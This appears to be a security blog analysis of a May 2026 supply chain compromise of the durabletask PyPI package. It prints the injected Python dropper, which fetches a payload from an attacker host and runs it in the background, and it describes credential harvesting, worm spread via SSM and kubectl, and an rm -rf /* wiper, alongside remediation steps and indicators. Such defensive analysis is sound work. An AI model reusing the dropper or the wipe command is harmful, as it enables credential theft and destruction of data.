Published
- 8 min read
The durabletask PyPI Compromise: TeamPCP Attacks Azure Pipelines
With over 417,000 monthly downloads, durabletask is the official Microsoft Python client for the Azure Durable Task workflow framework. It runs deep inside enterprise CI/CD pipelines, serverless functions, and AI agent backends. On May 19, 2026, it became the delivery mechanism for a devastating supply chain attack.
The notorious threat actor “TeamPCP” the group behind the recent “Mini Shai-Hulud” campaign successfully published three malicious versions of the package (1.4.1, 1.4.2, and 1.4.3) to PyPI. The moment a developer or build server imported the compromised library, it silently downloaded a second-stage payload (rope.pyz) capable of harvesting credentials from every major cloud provider, unlocking local password managers, and spreading laterally via AWS SSM and Kubernetes.
Here is the complete technical breakdown of how TeamPCP bypassed repository controls, the advanced exfiltration tradecraft they deployed, and the exact remediation steps security professionals must take to sanitize infected environments.
What to Remember
- Zero-Click Execution: The malware executes immediately upon running
import durabletask. No functions need to be called. - Bypassed Repositories: Microsoft’s actual GitHub repository was never breached. The attacker stole a legacy PyPI API token from a previously compromised GitHub account’s secrets.
- Multi-Cloud Harvester: The
rope.pyzpayload actively steals credentials from AWS, Azure, GCP, HashiCorp Vault, Kubernetes, 1Password, and Bitwarden. - Worm Propagation: The malware spreads laterally to other EC2 instances via AWS SSM
SendCommandand to Kubernetes pods viakubectl exec. - Geopolitical Wiper: On systems identified as Israeli or Iranian, a 1-in-6 roulette triggers an audio file followed by a destructive
rm -rf /*wipe.
The Anatomy of the durabletask Compromise
Supply chain defenders often focus on securing source code repositories. TeamPCP bypassed the repository entirely.
There are no malicious commits, no rogue pull requests, and no compromised tags in the microsoft/durabletask-python GitHub repository. Instead, the attackers leveraged a compromised user account from a previous attack (the @antv wave). They dumped GitHub secrets from repositories the user had access to, uncovering a long-lived, legacy PyPI API token (TWINE_PASSWORD).
With this token, they built the malicious packages locally and uploaded them directly using twine.
The Accumulative Injection Strategy
The attacker released three versions within 35 minutes, injecting the dropper into progressively more files to ensure execution regardless of how the developer imported the library:
- v1.4.1: Injected into
durabletask/__init__.py - v1.4.2: Added to
durabletask/task.py - v1.4.3: Added to
entities/__init__.py,extensions/__init__.py, andpayload/__init__.py
The dropper itself is exceptionally stealthy:
import os
import platform
import subprocess
import urllib.request
if platform.system() == "Linux":
try:
urllib.request.urlretrieve(
"https://check.git-service[.]com/rope.pyz",
"/tmp/managed.pyz"
)
with open(os.devnull, 'w') as f:
subprocess.Popen(
["python3", "/tmp/managed.pyz"],
stdout=f, stderr=f, stdin=f,
start_new_session=True
)
except:
pass
The start_new_session=True flag detaches the malicious process from the parent. Even if the Python script that triggered the import exits immediately, the malware continues running in the background. The broad except: pass ensures that if the machine is offline or the C2 is blocked, the application doesn’t crash, leaving developers completely unaware.
Stage-2 Payload (rope.pyz): The Ultimate Cloud Harvester
Once downloaded, /tmp/managed.pyz (the rope.pyz payload) acts as a highly structured credential harvesting framework. It bypasses automated sandboxes by exiting if the CPU count is 2 or fewer, or if the system locale is Russian (LANG=ru_*).
It then launches parallel collectors using ThreadPoolExecutor targeting specific ecosystems:
- Cloud Providers: It dumps AWS Secrets Manager and SSM Parameters (using
WithDecryption: True) across 19 regions. It generates GCP OAuth2 JWTs to scrape GCP Secret Manager, and extracts Azure Key Vault secrets. - Kubernetes & Vault: It parses
~/.kube/config, extracts in-cluster service account tokens, and dumps secrets across all namespaces. It also walks HashiCorp Vault KV v1/v2 mounts. - Password Managers: It targets 1Password, Bitwarden,
pass, andgopass. It attempts to unlock these vaults by brute-forcing them with passwords harvested from environment variables and shell history (.bash_history). - Developer Tooling: It targets AI coding assistants, extracting configs for Claude Desktop, Cursor, VS Code, and Zed.
Lateral Movement (The Worm Capability)
TeamPCP designed this malware to spread.
- AWS: It enumerates SSM-managed instances and uses
SSM:SendCommand(via theAWS-RunShellScriptdocument) to execute the dropper on up to 5 other EC2 instances. - Kubernetes: It uses
kubectl execto push the payload into up to 5 running pods cluster-wide.
To prevent infinite loops, it leaves a marker file (~/.cache/.sys-update-check for AWS and ~/.cache/.sys-update-check-k8s for K8s) on infected hosts.
The Triple-Tier Exfiltration & FIRESCALE Dead Drop
To evade detection, all stolen data is compressed via gzip and encrypted with AES-256-GCM. The AES key is then wrapped using an attacker-controlled RSA-4096 public key.
The malware attempts to exfiltrate this encrypted bundle using a cascading three-tier strategy:
- Primary C2: A direct POST request to
check.git-service[.]com/api/public/version. - The FIRESCALE Dead Drop: If the primary C2 is blocked, the malware queries the GitHub commit search API for the keyword
FIRESCALE. It looks for commit messages containing a base64-encoded URL and a base64-encoded RSA signature. The malware verifies the signature using its embedded public key. If valid, this new URL becomes the C2. This allows the attacker to route traffic to new infrastructure simply by pushing a signed commit to any public GitHub repo. - GitHub Folklore Repositories: If all external network traffic fails, the malware searches the stolen credentials for valid GitHub PATs (
ghp_orgithub_pat_). It uses these tokens to create public repositories with randomly generated Slavic folklore names (e.g.,BABA-YAGA-742,KOSCHEI,RUSALKA) and commits the encrypted bundle as a file namedresults.json.
The Geopolitical Wiper (Israel & Iran)
If the malware identifies the host as an Israeli or Iranian system by checking timezones (Jerusalem, Tel_Aviv, Tehran) and locales (he_IL, fa_IR) it triggers a module called roulette.py.
On a 1-in-6 random roll, the malware:
- Downloads an audio file (
audio.mp3). - Sets the system volume to 100% via
pactl. - Plays the audio using
mpv. - Executes
subprocess.run(["rm", "-rf", "/*"]).
If the system does not match these locales, or if it survives the 1-in-6 roll, it deploys a persistent backdoor disguised as a PostgreSQL monitor (pgsql-monitor.service).
Step-by-Step Remediation Guide
If a Linux machine in your environment installed durabletask versions 1.4.1, 1.4.2, or 1.4.3, you must assume total credential compromise. Security teams must execute the following remediation steps immediately.
- Identify and Isolate Exposure: Scan your CI/CD logs,
requirements.txt,poetry.lock, andPipfile.lockfor the affected versions. Check the disk for the downloaded payloads.ls -la /tmp/managed.pyz 2>/dev/null ls -la /tmp/rope-*.pyz 2>/dev/null - Check for Infection Markers and Persistence: The presence of the propagation markers confirms the stage-2 payload executed and attempted lateral movement.
# Check for markers ls -la ~/.cache/.sys-update-check ls -la ~/.cache/.sys-update-check-k8s # Check for the persistence backdoor systemctl status pgsql-monitor.service ls -la /usr/bin/pgmonitor.py ~/.local/bin/pgmonitor.py - Block C2 Infrastructure: Immediately block the following domains and endpoints at your egress proxy, firewall, and DNS levels:
check.git-service[.]comt.m-kosche[.]com- Endpoints:
/v1/models,/audio.mp3,/api/public/version
- Audit Lateral Movement Logs: The worm spreads automatically. You must hunt for its propagation tracks:
- AWS: Query CloudTrail for
SSM:SendCommandandSSM:DescribeInstanceInformationevents originating from the compromised instance profile. - Kubernetes: Review Kubernetes audit logs for unexpected
kubectl execcommands originating from compromised pods.
- AWS: Query CloudTrail for
- Ruthless Credential Rotation: Rotate everything present on the compromised host.
- AWS IAM access keys, Azure service principals, and GCP service accounts.
- Kubernetes service account tokens and
kubeconfigcredentials. - HashiCorp Vault tokens.
- GitHub PATs. (Also, check your GitHub organization for newly created public repositories with Slavic folklore names).
- Any passwords stored in 1Password or Bitwarden vaults installed on that machine.
- Pin to a Safe Version: Downgrade the package to the last known safe version.
pip install durabletask==1.4.0
Lessons Learned: Securing the Supply Chain
- Legacy PyPI Tokens are a Liability: The attacker gained access because a long-lived PyPI token was stored in GitHub Secrets. What should happen: Migrate immediately to PyPI’s OIDC Trusted Publishers. OIDC binds publishing rights to a specific GitHub repository and workflow, rendering stolen tokens useless.
- Hash Pinning Stops Droppers: The compromised packages were built dynamically. What should happen: Use
pip install --require-hashes. A hash mismatch forces the build to fail before the malicious__init__.pycode can execute. - Egress Filtering is Mandatory: The payload relies on fetching
rope.pyzfrom an external domain. What should happen: CI/CD runners and production pods should operate in strict zero-trust network environments. Deny all outbound traffic by default, whitelisting only necessary package registries.
Conclusion
The durabletask compromise is a masterclass in modern supply chain attacks. TeamPCP bypassed source code repositories, utilized accumulative injection, deployed a multi-cloud credential harvester, and instituted resilient, cryptographically backed C2 fallbacks.
Patching is no longer enough. Security professionals must shift their focus to identity rotation, strict egress controls, and behavioral monitoring to catch zero-click executions before they spread.
To further enhance your cloud security and implement Zero Trust, contact me on LinkedIn Profile or [email protected].
Frequently Asked Questions (FAQ)
What is the durabletask PyPI compromise?
Threat actors published three malicious versions of Microsoft's durabletask Python SDK (1.4.1, 1.4.2, 1.4.3) to PyPI. Importing the package silently downloads a multi-cloud credential stealer and worm called rope.pyz.
Was Microsoft's GitHub repository hacked?
No. The attackers compromised a user account, dumped GitHub secrets from a previous attack, and stole a legacy PyPI API token. They used this token to publish the malicious packages directly to PyPI via twine.
How does the rope.pyz malware spread?
The malware features lateral movement capabilities. It enumerates AWS instances and uses SSM SendCommand to infect up to 5 EC2 instances. In Kubernetes, it uses kubectl exec to infect up to 5 running pods.
What is the FIRESCALE dead drop?
If the primary C2 server is blocked, the malware searches GitHub commits for the keyword 'FIRESCALE'. It looks for cryptographically signed base64 URLs, allowing the attacker to dynamically update the C2 infrastructure.
What should I do if I installed a compromised version?
Assume total credential compromise. Isolate the machine, block the C2 domains, rotate all cloud credentials and password manager vaults, and audit AWS CloudTrail and K8s logs for signs of lateral movement.